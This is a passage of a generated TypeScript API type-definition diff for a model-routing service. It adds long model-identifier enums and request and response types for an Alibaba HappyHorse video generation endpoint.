'moonshotai/kimi-k2.7-code', + 'moonshotai/kimi-k2-thinking': 'moonshotai/kimi-k2-thinking', + 'moonshotai/kimi-k3': 'moonshotai/kimi-k3', + 'moonshotai/kimi-k3.1-pro': 'moonshotai/kimi-k3.1-pro', + 'moonshotai/kimi-k3:batch': 'moonshotai/kimi-k3:batch', + '~moonshotai/kimi-latest': '~moonshotai/kimi-latest', + 'morph/morph-v3-fast': 'morph/morph-v3-fast', + 'morph/morph-v3-fast:batch': 'morph/morph-v3-fast:batch', + 'morph/morph-v3-large': 'morph/morph-v3-large', + 'morph/morph-v3-large:batch': 'morph/morph-v3-large:batch', + 'nex-agi/nex-n2.5-mini': 'nex-agi/nex-n2.5-mini', + 'nex-agi/nex-n2.5-pro': 'nex-agi/nex-n2.5-pro', + 'nousresearch/hermes-4-405b': 'nousresearch/hermes-4-405b', + 'nvidia/nemotron-3.5-content-safety': 'nvidia/nemotron-3.5-content-safety', + 'nvidia/nemotron-3.5-lightning': 'nvidia/nemotron-3.5-lightning', + 'nvidia/nemotron-3.5-lightning:free': 'nvidia/nemotron-3.5-lightning:free', + 'nvidia/nemotron-3.5-super-vl': 'nvidia/nemotron-3.5-super-vl', + 'nvidia/nemotron-3.5-super-vl:free': 'nvidia/nemotron-3.5-super-vl:free', + 'nvidia/nemotron-3-nano-30b-a3b': 'nvidia/nemotron-3-nano-30b-a3b', + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free': + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free', + 'nvidia/nemotron-3-super-120b-a12b': 'nvidia/nemotron-3-super-120b-a12b', + 'nvidia/nemotron-3-ultra-550b-a55b': 'nvidia/nemotron-3-ultra-550b-a55b', + 'nvidia/nemotron-3-ultra-550b-a55b:free': + 'nvidia/nemotron-3-ultra-550b-a55b:free', + 'nvidia/switchyard': 'nvidia/switchyard', + 'openai/gpt-3.5-turbo-0613': 'openai/gpt-3.5-turbo-0613', + 'openai/gpt-3.5-turbo-16k': 'openai/gpt-3.5-turbo-16k', + 'openai/gpt-4': 'openai/gpt-4', + 'openai/gpt-4.1': 'openai/gpt-4.1', + 'openai/gpt-4.1:batch': 'openai/gpt-4.1:batch', + 'openai/gpt-4.1-mini': 'openai/gpt-4.1-mini', + 'openai/gpt-4.1-mini:batch': 'openai/gpt-4.1-mini:batch', + 'openai/gpt-4.1-nano': 'openai/gpt-4.1-nano', + 'openai/gpt-4.1-nano:batch': 'openai/gpt-4.1-nano:batch', + 'openai/gpt-4-turbo:batch': 'openai/gpt-4-turbo:batch', + 'openai/gpt-4o': 'openai/gpt-4o', + 'openai/gpt-4o-2024-05-13': 'openai/gpt-4o-2024-05-13', + 'openai/gpt-4o-2024-08-06': 'openai/gpt-4o-2024-08-06', + 'openai/gpt-4o-2024-11-20': 'openai/gpt-4o-2024-11-20', + 'openai/gpt-4o:batch': 'openai/gpt-4o:batch', + 'openai/gpt-4o-mini': 'openai/gpt-4o-mini', + 'openai/gpt-4o-mini-2024-07-18': 'openai/gpt-4o-mini-2024-07-18', + 'openai/gpt-4o-mini:batch': 'openai/gpt-4o-mini:batch', + 'openai/gpt-5': 'openai/gpt-5', + 'openai/gpt-5.1': 'openai/gpt-5.1', + 'openai/gpt-5.1:batch': 'openai/gpt-5.1:batch', + 'openai/gpt-5.1-codex': 'openai/gpt-5.1-codex', + 'openai/gpt-5.1-codex-max': 'openai/gpt-5.1-codex-max', + 'openai/gpt-5.1-codex-mini': 'openai/gpt-5.1-codex-mini', + 'openai/gpt-5.2': 'openai/gpt-5.2', + 'openai/gpt-5.2:batch': 'openai/gpt-5.2:batch', + 'openai/gpt-5.2-chat': 'openai/gpt-5.2-chat', + 'openai/gpt-5.2-codex': 'openai/gpt-5.2-codex', + 'openai/gpt-5.2-pro': 'openai/gpt-5.2-pro', + 'openai/gpt-5.2-pro:batch': 'openai/gpt-5.2-pro:batch', + 'openai/gpt-5.3-codex': 'openai/gpt-5.3-codex', + 'openai/gpt-5.4': 'openai/gpt-5.4', + 'openai/gpt-5.4:batch': 'openai/gpt-5.4:batch', + 'openai/gpt-5.4-image-2': 'openai/gpt-5.4-image-2', + 'openai/gpt-5.4-mini': 'openai/gpt-5.4-mini', + 'openai/gpt-5.4-mini:batch': 'openai/gpt-5.4-mini:batch', + 'openai/gpt-5.4-nano': 'openai/gpt-5.4-nano', + 'openai/gpt-5.4-nano:batch': 'openai/gpt-5.4-nano:batch', + 'openai/gpt-5.4-pro': 'openai/gpt-5.4-pro', + 'openai/gpt-5.4-pro:batch': 'openai/gpt-5.4-pro:batch', + 'openai/gpt-5.5': 'openai/gpt-5.5', + 'openai/gpt-5.5:batch': 'openai/gpt-5.5:batch', + 'openai/gpt-5.5-pro': 'openai/gpt-5.5-pro', + 'openai/gpt-5.5-pro:batch': 'openai/gpt-5.5-pro:batch', + 'openai/gpt-5.6-luna': 'openai/gpt-5.6-luna', + 'openai/gpt-5.6-luna:batch': 'openai/gpt-5.6-luna:batch', + 'openai/gpt-5.6-luna-pro': 'openai/gpt-5.6-luna-pro', + 'openai/gpt-5.6-luna-pro:batch': 'openai/gpt-5.6-luna-pro:batch', + 'openai/gpt-5.6-sol': 'openai/gpt-5.6-sol', + 'openai/gpt-5.6-sol:batch': 'openai/gpt-5.6-sol:batch', + 'openai/gpt-5.6-sol-pro': 'openai/gpt-5.6-sol-pro', + 'openai/gpt-5.6-sol-pro:batch': 'openai/gpt-5.6-sol-pro:batch', + 'openai/gpt-5.6-terra': 'openai/gpt-5.6-terra', + 'openai/gpt-5.6-terra:batch': 'openai/gpt-5.6-terra:batch', + 'openai/gpt-5.6-terra-pro': 'openai/gpt-5.6-terra-pro', + 'openai/gpt-5.6-terra-pro:batch': 'openai/gpt-5.6-terra-pro:batch', + 'openai/gpt-5:batch': 'openai/gpt-5:batch', + 'openai/gpt-5-image': 'openai/gpt-5-image', + 'openai/gpt-5-image-mini': 'openai/gpt-5-image-mini', + 'openai/gpt-5-mini': 'openai/gpt-5-mini', + 'openai/gpt-5-mini:batch': 'openai/gpt-5-mini:batch', + 'openai/gpt-5-nano': 'openai/gpt-5-nano', + 'openai/gpt-5-nano:batch': 'openai/gpt-5-nano:batch', + 'openai/gpt-5-pro': 'openai/gpt-5-pro', + 'openai/gpt-5-pro:batch': 'openai/gpt-5-pro:batch', + 'openai/gpt-6.1-sol': 'openai/gpt-6.1-sol', + 'openai/gpt-6.1-sol:batch': 'openai/gpt-6.1-sol:batch', + 'openai/gpt-6.1-sol-pro': 'openai/gpt-6.1-sol-pro', + 'openai/gpt-6.1-sol-pro:batch': 'openai/gpt-6.1-sol-pro:batch', + 'openai/gpt-6.1-terra': 'openai/gpt-6.1-terra', + 'openai/gpt-6.1-terra:batch': 'openai/gpt-6.1-terra:batch', + 'openai/gpt-6.1-terra-pro': 'openai/gpt-6.1-terra-pro', + 'openai/gpt-6.1-terra-pro:batch': 'openai/gpt-6.1-terra-pro:batch', + 'openai/gpt-6-astra': 'openai/gpt-6-astra', + 'openai/gpt-6-astra:batch': 'openai/gpt-6-astra:batch', + 'openai/gpt-6-astra-pro': 'openai/gpt-6-astra-pro', + 'openai/gpt-6-astra-pro:batch': 'openai/gpt-6-astra-pro:batch', + 'openai/gpt-6-luna': 'openai/gpt-6-luna', + 'openai/gpt-6-luna:batch': 'openai/gpt-6-luna:batch', + 'openai/gpt-6-luna-pro': 'openai/gpt-6-luna-pro', + 'openai/gpt-6-luna-pro:batch': 'openai/gpt-6-luna-pro:batch', + 'openai/gpt-6-sol': 'openai/gpt-6-sol', + 'openai/gpt-6-sol:batch': 'openai/gpt-6-sol:batch', + 'openai/gpt-6-sol-pro': 'openai/gpt-6-sol-pro', + 'openai/gpt-6-sol-pro:batch': 'openai/gpt-6-sol-pro:batch', + '~openai/gpt-astra-latest': '~openai/gpt-astra-latest', + 'openai/gpt-audio': 'openai/gpt-audio', + 'openai/gpt-audio-mini': 'openai/gpt-audio-mini', + 'openai/gpt-chat-latest': 'openai/gpt-chat-latest', + '~openai/gpt-luna-latest': '~openai/gpt-luna-latest', + '~openai/gpt-mini-latest': '~openai/gpt-mini-latest', + 'openai/gpt-oss-120b': 'openai/gpt-oss-120b', + 'openai/gpt-oss-120b:batch': 'openai/gpt-oss-120b:batch', + 'openai/gpt-oss-20b': 'openai/gpt-oss-20b', + 'openai/gpt-oss-20b:batch': 'openai/gpt-oss-20b:batch', + 'openai/gpt-oss-safeguard-20b': 'openai/gpt-oss-safeguard-20b', + '~openai/gpt-sol-latest': '~openai/gpt-sol-latest', + '~openai/gpt-terra-latest': '~openai/gpt-terra-latest', + 'openai/o3': 'openai/o3', + 'openai/o3:batch': 'openai/o3:batch', + 'openai/o3-mini:batch': 'openai/o3-mini:batch', + 'openai/o3-pro': 'openai/o3-pro', + 'openai/o4-mini:batch': 'openai/o4-mini:batch', + 'openrouter/auto': 'openrouter/auto', + 'openrouter/auto-beta': 'openrouter/auto-beta', + 'openrouter/auto-code': 'openrouter/auto-code', + 'openrouter/bodybuilder': 'openrouter/bodybuilder', + 'openrouter/free': 'openrouter/free', + 'openrouter/fusion': 'openrouter/fusion', + 'openrouter/pareto-code': 'openrouter/pareto-code', + 'particle-ai/particle-1': 'particle-ai/particle-1', + 'perceptron/perceptron-mk1': 'perceptron/perceptron-mk1', + 'perceptron/perceptron-mk1.5': 'perceptron/perceptron-mk1.5', + 'perplexity/sonar': 'perplexity/sonar', + 'perplexity/sonar-deep-research': 'perplexity/sonar-deep-research', + 'perplexity/sonar-pro': 'perplexity/sonar-pro', + 'perplexity/sonar-pro-search': 'perplexity/sonar-pro-search', + 'perplexity/sonar-reasoning-pro': 'perplexity/sonar-reasoning-pro', + 'prism-ml/ternary-bonsai-2-27b': 'prism-ml/ternary-bonsai-2-27b', + 'prism-ml/ternary-bonsai-2-9b': 'prism-ml/ternary-bonsai-2-9b', + 'qwen/qwen-2.5-72b-instruct': 'qwen/qwen-2.5-72b-instruct', + 'qwen/qwen-2.5-7b-instruct': 'qwen/qwen-2.5-7b-instruct', + 'qwen/qwen-2.5-coder-32b-instruct': 'qwen/qwen-2.5-coder-32b-instruct', + 'qwen/qwen-plus': 'qwen/qwen-plus', + 'qwen/qwen2.5-vl-72b-instruct': 'qwen/qwen2.5-vl-72b-instruct', + 'qwen/qwen3-14b': 'qwen/qwen3-14b', + 'qwen/qwen3-235b-a22b-2507': 'qwen/qwen3-235b-a22b-2507', + 'qwen/qwen3-235b-a22b-thinking-2507': 'qwen/qwen3-235b-a22b-thinking-2507', + 'qwen/qwen3-30b-a3b': 'qwen/qwen3-30b-a3b', + 'qwen/qwen3-30b-a3b-instruct-2507': 'qwen/qwen3-30b-a3b-instruct-2507', + 'qwen/qwen3-32b': 'qwen/qwen3-32b', + 'qwen/qwen3.5-122b-a10b': 'qwen/qwen3.5-122b-a10b', + 'qwen/qwen3.5-27b': 'qwen/qwen3.5-27b', + 'qwen/qwen3.5-35b-a3b': 'qwen/qwen3.5-35b-a3b', + 'qwen/qwen3.5-397b-a17b': 'qwen/qwen3.5-397b-a17b', + 'qwen/qwen3.5-9b': 'qwen/qwen3.5-9b', + 'qwen/qwen3.5-flash-02-23': 'qwen/qwen3.5-flash-02-23', + 'qwen/qwen3.5-plus-02-15': 'qwen/qwen3.5-plus-02-15', + 'qwen/qwen3.5-plus-20260420': 'qwen/qwen3.5-plus-20260420', + 'qwen/qwen3.6-27b': 'qwen/qwen3.6-27b', + 'qwen/qwen3.6-35b-a3b': 'qwen/qwen3.6-35b-a3b', + 'qwen/qwen3.6-flash': 'qwen/qwen3.6-flash', + 'qwen/qwen3.6-plus': 'qwen/qwen3.6-plus', + 'qwen/qwen3.7-flash': 'qwen/qwen3.7-flash', + 'qwen/qwen3.7-max': 'qwen/qwen3.7-max', + 'qwen/qwen3.7-plus': 'qwen/qwen3.7-plus', + 'qwen/qwen3.7-plus:batch': 'qwen/qwen3.7-plus:batch', + 'qwen/qwen3.8-2.4t-a95b': 'qwen/qwen3.8-2.4t-a95b', + 'qwen/qwen3.8-27b': 'qwen/qwen3.8-27b', + 'qwen/qwen3.8-27b:batch': 'qwen/qwen3.8-27b:batch', + 'qwen/qwen3.8-flash': 'qwen/qwen3.8-flash', + 'qwen/qwen3.8-max-0902': 'qwen/qwen3.8-max-0902', + 'qwen/qwen3.8-max-prime': 'qwen/qwen3.8-max-prime', + 'qwen/qwen3.8-omni-flash': 'qwen/qwen3.8-omni-flash', + 'qwen/qwen3-coder': 'qwen/qwen3-coder', + 'qwen/qwen3-coder-30b-a3b-instruct': 'qwen/qwen3-coder-30b-a3b-instruct', + 'qwen/qwen3-coder-flash': 'qwen/qwen3-coder-flash', + 'qwen/qwen3-coder-next': 'qwen/qwen3-coder-next', + 'qwen/qwen3-next-80b-a3b-instruct': 'qwen/qwen3-next-80b-a3b-instruct', + 'qwen/qwen3-vl-235b-a22b-instruct': 'qwen/qwen3-vl-235b-a22b-instruct', + 'qwen/qwen3-vl-30b-a3b-instruct': 'qwen/qwen3-vl-30b-a3b-instruct', + 'qwen/qwen3-vl-30b-a3b-thinking': 'qwen/qwen3-vl-30b-a3b-thinking', + 'qwen/qwen3-vl-8b-instruct': 'qwen/qwen3-vl-8b-instruct', + 'recursive/flint-v1.0:free': 'recursive/flint-v1.0:free', + 'reflection/beam-1.0-501b-a23b': 'reflection/beam-1.0-501b-a23b', + 'rekaai/reka-edge': 'rekaai/reka-edge', + 'rekaai/reka-flash-3': 'rekaai/reka-flash-3', + 'relace/relace-apply-3': 'relace/relace-apply-3', + 'relace/relace-search': 'relace/relace-search', + 'ricursiveai/ripple-65b-preview': 'ricursiveai/ripple-65b-preview', + 'sakana/fugu-max': 'sakana/fugu-max', + 'sakana/fugu-ultra': 'sakana/fugu-ultra', + 'sakana/fugu-ultra-v2': 'sakana/fugu-ultra-v2', + 'sakana/sakana-namazu': 'sakana/sakana-namazu', + 'sao10k/l3.1-euryale-70b': 'sao10k/l3.1-euryale-70b', + 'sao10k/l3-lunaris-8b': 'sao10k/l3-lunaris-8b', + 'scaledown/extract': 'scaledown/extract', + 'scaledown/summarize': 'scaledown/summarize', + 'stealth/crouton-alpha': 'stealth/crouton-alpha', + 'stepfun/step-3.5-flash': 'stepfun/step-3.5-flash', + 'stepfun/step-3.7-flash': 'stepfun/step-3.7-flash', + 'stepfun/step-5-preview': 'stepfun/step-5-preview', + 'tencent/hunyuan-a13b-instruct': 'tencent/hunyuan-a13b-instruct', + 'tencent/hy-mt2-1.8b': 'tencent/hy-mt2-1.8b', + 'tencent/hy-mt2-30b-a3b': 'tencent/hy-mt2-30b-a3b', + 'tencent/hy-mt2-7b': 'tencent/hy-mt2-7b', + 'tencent/hy3': 'tencent/hy3', + 'tencent/hy3-preview': 'tencent/hy3-preview', + 'tencent/hy4': 'tencent/hy4', + 'tencent/hy4-preview': 'tencent/hy4-preview', + 'thedrummer/cydonia-24b-v4.1': 'thedrummer/cydonia-24b-v4.1', + 'thedrummer/skyfall-36b-v2': 'thedrummer/skyfall-36b-v2', + 'thedrummer/unslopnemo-12b': 'thedrummer/unslopnemo-12b', + 'thinkingmachines/inkling': 'thinkingmachines/inkling', + 'thinkingmachines/inkling-small': 'thinkingmachines/inkling-small', + 'thinkingmachines/inkling-small:batch': + 'thinkingmachines/inkling-small:batch', + 'typesafe/jev-router': 'typesafe/jev-router', + 'unbiased/pareto-26.10': 'unbiased/pareto-26.10', + 'unbiased/pareto-26.9': 'unbiased/pareto-26.9', + '~unbiased/pareto-latest': '~unbiased/pareto-latest', + 'undi95/remm-slerp-l2-13b': 'undi95/remm-slerp-l2-13b', + 'upstage/solar-mini4': 'upstage/solar-mini4', + 'upstage/solar-pro4': 'upstage/solar-pro4', + 'writer/palmyra-x5': 'writer/palmyra-x5', + 'x-ai/grok-4.20': 'x-ai/grok-4.20', + 'x-ai/grok-4.20-multi-agent': 'x-ai/grok-4.20-multi-agent', + 'x-ai/grok-4.3': 'x-ai/grok-4.3', + 'x-ai/grok-4.3:batch': 'x-ai/grok-4.3:batch', + 'x-ai/grok-4.5': 'x-ai/grok-4.5', + 'x-ai/grok-4.6': 'x-ai/grok-4.6', + 'x-ai/grok-4.6:batch': 'x-ai/grok-4.6:batch', + 'x-ai/grok-4.7': 'x-ai/grok-4.7', + 'x-ai/grok-4.7:batch': 'x-ai/grok-4.7:batch', + 'x-ai/grok-build-0.1': 'x-ai/grok-build-0.1', + '~x-ai/grok-latest': '~x-ai/grok-latest', + 'xiaomi/mimo-v2.5': 'xiaomi/mimo-v2.5', + 'xiaomi/mimo-v2.5-pro': 'xiaomi/mimo-v2.5-pro', + 'xiaomi/mimo-v2.6-flash': 'xiaomi/mimo-v2.6-flash', + 'xiaomi/mimo-v2.6-pro': 'xiaomi/mimo-v2.6-pro', + 'xiaomi/mimo-v2.6-pro-ultraspeed': 'xiaomi/mimo-v2.6-pro-ultraspeed', + 'xingchen-agi/xing4.0-29b-a4b:free': 'xingchen-agi/xing4.0-29b-a4b:free', + 'z-ai/glm-4.5': 'z-ai/glm-4.5', + 'z-ai/glm-4.5-air': 'z-ai/glm-4.5-air', + 'z-ai/glm-4.5v': 'z-ai/glm-4.5v', + 'z-ai/glm-4.6': 'z-ai/glm-4.6', + 'z-ai/glm-4.6v': 'z-ai/glm-4.6v', + 'z-ai/glm-4.7': 'z-ai/glm-4.7', + 'z-ai/glm-4.7-flash': 'z-ai/glm-4.7-flash', + 'z-ai/glm-5': 'z-ai/glm-5', + 'z-ai/glm-5.1': 'z-ai/glm-5.1', + 'z-ai/glm-5.2': 'z-ai/glm-5.2', + 'z-ai/glm-5.2:batch': 'z-ai/glm-5.2:batch', + 'z-ai/glm-5.3': 'z-ai/glm-5.3', + 'z-ai/glm-5.3:batch': 'z-ai/glm-5.3:batch', + 'z-ai/glm-5.3-flash': 'z-ai/glm-5.3-flash', + 'z-ai/glm-5.3-flash:batch': 'z-ai/glm-5.3-flash:batch', + 'z-ai/glm-5.3-flashx': 'z-ai/glm-5.3-flashx', + 'z-ai/glm-5.3-flashx-legal': 'z-ai/glm-5.3-flashx-legal', + 'z-ai/glm-5.3-prime': 'z-ai/glm-5.3-prime', + 'z-ai/glm-5-turbo': 'z-ai/glm-5-turbo', + 'z-ai/glm-5v-turbo': 'z-ai/glm-5v-turbo', + '~z-ai/glm-flash-latest': '~z-ai/glm-flash-latest', + '~z-ai/glm-latest': '~z-ai/glm-latest', +} as const + +export type OpenrouterPostVideosAlibabaHappyhorse10RequestModelEnumKey = + (typeof openrouterPostVideosAlibabaHappyhorse10RequestModelEnum)[keyof typeof openrouterPostVideosAlibabaHappyhorse10RequestModelEnum] + +export const openrouterPostVideosAlibabaHappyhorse10RequestResolutionEnum = { + '720p': '720p', + '1080p': '1080p', +} as const + +export type OpenrouterPostVideosAlibabaHappyhorse10RequestResolutionEnumKey = + (typeof openrouterPostVideosAlibabaHappyhorse10RequestResolutionEnum)[keyof typeof openrouterPostVideosAlibabaHappyhorse10RequestResolutionEnum] + +export const openrouterPostVideosAlibabaHappyhorse10RequestSizeEnum = { + '1280x720': '1280x720', + '720x1280': '720x1280', + '720x720': '720x720', + '960x720': '960x720', + '720x960': '720x960', + '1680x720': '1680x720', + '720x1680': '720x1680', + '1920x1080': '1920x1080', + '1080x1920': '1080x1920', + '1080x1080': '1080x1080', + '1440x1080': '1440x1080', + '1080x1440': '1080x1440', + '2520x1080': '2520x1080', + '1080x2520': '1080x2520', +} as const + +export type OpenrouterPostVideosAlibabaHappyhorse10RequestSizeEnumKey = + (typeof openrouterPostVideosAlibabaHappyhorse10RequestSizeEnum)[keyof typeof openrouterPostVideosAlibabaHappyhorse10RequestSizeEnum] + +/** + * @description Alibaba: HappyHorse 1.0 (alibaba/happyhorse-1.0) — model-constrained video generation request. HappyHorse 1.0 is a video generation model from Alibaba. It generates short videos from a text prompt, a single starting image, or a set of reference images, with output up... + * @example {"aspect_ratio":"16:9","duration":8,"model":"google/veo-3.1","prompt":"A serene mountain landscape at sunset","resolution":"720p"} + * @type object + */ +export type OpenrouterPostVideosAlibabaHappyhorse10Body = { + /** + * @description Aspect ratio of the generated video + * @example 16:9 + * @type string | undefined + */ + aspect_ratio?: OpenrouterPostVideosAlibabaHappyhorse10RequestAspectRatioEnumKey + /** + * @description URL to receive a webhook notification when the video generation job completes. Overrides the workspace-level default callback URL if set. Must be HTTPS. + * + * Format: `uri` + * @example https://example.com/webhook + * @type string | undefined + */ + callback_url?: string + /** + * @description Creativity level for video upscaling models only. This parameter is not supported by video generation models. + * @example 1 + * @type integer | undefined + */ + creativity?: number + /** + * @description Duration of the generated video in seconds + * @example 8 + * @type number | undefined + */ + duration?: OpenrouterPostVideosAlibabaHappyhorse10RequestDurationEnumKey + /** + * @description Images to use as the first and/or last frame of the generated video. Each image must specify a frame_type of first_frame or last_frame. Frame types supported by this model: first_frame. + * @type array | undefined + */ + frame_images?: FrameImage[] + /** + * @description Reference assets to guide video generation. Accepts image, audio, and video references. Audio and video references are only honored by providers that support them (including BytePlus Seedance generation 2 and newer); other providers use image references and ignore the rest. + * @type array | undefined + */ + input_references?: InputReference[] + /** + * @description Model id (fixed for this model-constrained schema) + * @type string + */ + model: OpenrouterPostVideosAlibabaHappyhorse10RequestModelEnumKey + /** + * @description ID of a completed video job to edit or extend, as returned by the submit response. The new job runs on the same model and endpoint that produced the previous one. Only models that support continuation accept this field. + * @pattern ^gen-vid-\d+-[0-9A-Za-z]{20}$ + * @example gen-vid-1789493115-a1B2c3D4e5F6g7H8i9J0 + * @type string | undefined + */ + previous_job_id?: string + /** + * @description Text prompt describing the video to generate. Optional for models that support generating a video from image input alone; required by all other models. + * @example A serene mountain landscape at sunset + * @type string | undefined + */ + prompt?: string + /** + * @description Provider routing preferences (order, only, ignore) and provider-specific passthrough configuration + * @type object | undefined + */ + provider?: { + /** + * @description List of provider slugs to ignore. If provided, this list is merged with your account-wide ignored provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + ignore?: (ProviderNameKey | string)[] | null + /** + * @description List of provider slugs to allow. If provided, this list is merged with your account-wide allowed provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + only?: (ProviderNameKey | string)[] | null + /** + * @description Provider-specific options keyed by provider slug. The provider segment is case-insensitive; an endpoint tag after `/` must match the endpoint slug exactly. Only options for the matched provider are forwarded; the rest are ignored. Unrecognized keys are silently dropped. + * @example {"google-vertex":{"output_config":{"effort":"low"}}} + * @type object | undefined + */ + options?: ProviderOptions + /** + * @description An ordered list of provider slugs. The router will attempt to use the first provider in the subset of this list that supports your requested model, and fall back to the next if it is unavailable. If no providers are available, the request will fail with an error message. + * @example ["openai","anthropic"] + * @type array | undefined + */ + order?: (ProviderNameKey | string)[] | null + } + /** + * @description Resolution of the generated video + * @example 720p + * @type string | undefined + */ + resolution?: OpenrouterPostVideosAlibabaHappyhorse10RequestResolutionEnumKey + /** + * @description If specified, the generation will sample deterministically, such that repeated requests with the same seed and parameters should return the same result. Determinism is not guaranteed for all providers. + * @type integer | undefined + */ + seed?: number + /** + * @description A unique identifier for grouping related requests (e.g., a conversation or agent workflow). Used for observability grouping in Broadcast and private logging; never sent to the provider. If provided in both the request body and the x-session-id header, the body value takes precedence. Maximum of 256 characters. + * @maxLength 256 + * @example session-1234 + * @type string | undefined + */ + session_id?: string + /** + * @description Exact pixel dimensions of the generated video in "WIDTHxHEIGHT" format (e.g. "1280x720"). Interchangeable with resolution + aspect_ratio. + * @example 1280x720 + * @type string | undefined + */ + size?: OpenrouterPostVideosAlibabaHappyhorse10RequestSizeEnumKey + /** + * @description Metadata for observability and tracing. Known keys (trace_id, trace_name, span_name, generation_name, parent_span_id) have special handling. Additional keys are passed through as custom metadata to configured broadcast destinations. + * @example {"trace_id":"trace-abc123","trace_name":"my-app-trace"} + * @type object | undefined + */ + trace?: TraceConfig + /** + * @description Upscale factor for video upscaling models only. This parameter is not supported by video generation models. + * + * Format: `double` + * @minimum 0 + * @example 2 + * @type number | undefined + */ + upscale_factor?: number + /** + * @description A unique identifier representing your end-user. Forwarded to Broadcast and private logging as the end-user id; never sent to the provider. + * @maxLength 256 + * @example user-1234 + * @type string | undefined + */ + user?: string +} + +export type OpenrouterPostVideosAlibabaHappyhorse10Options = { + body: OpenrouterPostVideosAlibabaHappyhorse10Body + path?: never + query?: never + headers?: never +} + +export type OpenrouterPostVideosAlibabaHappyhorse10Responses = { + '200': OpenrouterPostVideosAlibabaHappyhorse10Status200 +} + +/** + * @description Union of all possible responses + */ +export type OpenrouterPostVideosAlibabaHappyhorse10Response = + OpenrouterPostVideosAlibabaHappyhorse10Status200 + +export const openrouterPostVideosAlibabaHappyhorse11Status200StatusEnum = { + pending: 'pending', + in_progress: 'in_progress', + completed: 'completed', + failed: 'failed', + cancelled: 'cancelled', + expired: 'expired', +} as const + +export type OpenrouterPostVideosAlibabaHappyhorse11Status200StatusEnumKey = + (typeof openrouterPostVideosAlibabaHappyhorse11Status200StatusEnum)[keyof typeof openrouterPostVideosAlibabaHappyhorse11Status200StatusEnum] + +/** + * @example {"generation_id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","polling_url":"/api/v1/videos/gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","status":"pending"} + * @type object + */ +export type OpenrouterPostVideosAlibabaHappyhorse11Status200 = { + error?: string + /** + * @description Unix timestamp in seconds when OpenRouter's stored copy of the outputs stops being available. Present only when that copy exists. + * @type integer | undefined + */ + expires_at?: number + /** + * @description The generation ID associated with this video generation job. Available once the job has been processed. + * @type string | undefined + */ + generation_id?: string + /** + * @description The video job ID, in the `gen-vid--<20 alphanumerics>` generation ID format. Pass it as `previous_job_id` to continue the generation. + * @type string + */ + id: string + polling_url: string + status: OpenrouterPostVideosAlibabaHappyhorse11Status200StatusEnumKey + /** + * @description OpenRouter content URLs for each output. They need your API key in the `Authorization` header and keep working for as long as the output is available. + * @type array | undefined + */ + unsigned_urls?: string[] + /** + * @description Signed download URLs for OpenRouter's stored copy of each output, usable without an API key until `expires_at`. Anyone holding a URL can download that output until it expires, so treat it like a secret. Present only when the stored copy exists. + * @type array | undefined + */ + urls?: string[] + /** + * @description Usage and cost information for the video generation. Available once the job has completed. + * @example {"cost":0.5,"is_byok":false} + * @type object | undefined + */ + usage?: VideoGenerationUsage +} + +export const openrouterPostVideosAlibabaHappyhorse11RequestAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', + '4:3': '4:3', + '3:4': '3:4', + '21:9': '21:9', + '9:21': '9:21', +} as const + +export type OpenrouterPostVideosAlibabaHappyhorse11RequestAspectRatioEnumKey = + (typeof openrouterPostVideosAlibabaHappyhorse11RequestAspectRatioEnum)[keyof typeof openrouterPostVideosAlibabaHappyhorse11RequestAspectRatioEnum] + +export const openrouterPostVideosAlibabaHappyhorse11RequestDurationEnum = { + '3': 3, + '4': 4, + '5': 5, + '6': 6, + '7': 7, + '8': 8, + '9': 9, + '10': 10, + '11': 11, + '12': 12, + '13': 13, + '14': 14, + '15': 15, +} as const + +export type OpenrouterPostVideosAlibabaHappyhorse11RequestDurationEnumKey = + (typeof openrouterPostVideosAlibabaHappyhorse11RequestDurationEnum)[keyof typeof openrouterPostVideosAlibabaHappyhorse11RequestDurationEnum] + +export const openrouterPostVideosAlibabaHappyhorse11RequestModelEnum = { + 'aion-labs/aion-2.0': 'aion-labs/aion-2.0', + 'aion-labs/aion-3.0': 'aion-labs/aion-3.0', + 'aion-labs/aion-3.0-mini': 'aion-labs/aion-3.0-mini', + 'aion-labs/aion-3.5': 'aion-labs/aion-3.5', + 'aion-labs/aion-3.5-mini': 'aion-labs/aion-3.5-mini', + 'aion-labs/aion-rp-llama-3.1-8b': 'aion-labs/aion-rp-llama-3.1-8b', + 'amazon/nova-2-lite-v1': 'amazon/nova-2-lite-v1', + 'amazon/nova-lite-v1': 'amazon/nova-lite-v1', + 'amazon/nova-micro-v1': 'amazon/nova-micro-v1', + 'amazon/nova-premier-v1': 'amazon/nova-premier-v1', + 'amazon/nova-pro-v1': 'amazon/nova-pro-v1', + 'anthracite-org/magnum-v4-72b': 'anthracite-org/magnum-v4-72b', + 'anthropic/claude-fable-5': 'anthropic/claude-fable-5', + 'anthropic/claude-fable-5.1': 'anthropic/claude-fable-5.1', + 'anthropic/claude-fable-5.1:batch': 'anthropic/claude-fable-5.1:batch', + 'anthropic/claude-fable-5:batch': 'anthropic/claude-fable-5:batch', + '~anthropic/claude-fable-latest': '~anthropic/claude-fable-latest', + 'anthropic/claude-haiku-4.5': 'anthropic/claude-haiku-4.5', + 'anthropic/claude-haiku-4.5:batch': 'anthropic/claude-haiku-4.5:batch', + 'anthropic/claude-haiku-5.5': 'anthropic/claude-haiku-5.5', + 'anthropic/claude-haiku-5.5:batch': 'anthropic/claude-haiku-5.5:batch', + '~anthropic/claude-haiku-latest': '~anthropic/claude-haiku-latest', + 'anthropic/claude-opus-4.1': 'anthropic/claude-opus-4.1', + 'anthropic/claude-opus-4.1:batch': 'anthropic/claude-opus-4.1:batch', + 'anthropic/claude-opus-4.5': 'anthropic/claude-opus-4.5', + 'anthropic/claude-opus-4.5:batch': 'anthropic/claude-opus-4.5:batch', + 'anthropic/claude-opus-4.6': 'anthropic/claude-opus-4.6', + 'anthropic/claude-opus-4.6:batch': 'anthropic/claude-opus-4.6:batch', + 'anthropic/claude-opus-4.7': 'anthropic/claude-opus-4.7', + 'anthropic/claude-opus-4.7:batch': 'anthropic/claude-opus-4.7:batch', + 'anthropic/claude-opus-4.8': 'anthropic/claude-opus-4.8', + 'anthropic/claude-opus-4.8:batch': 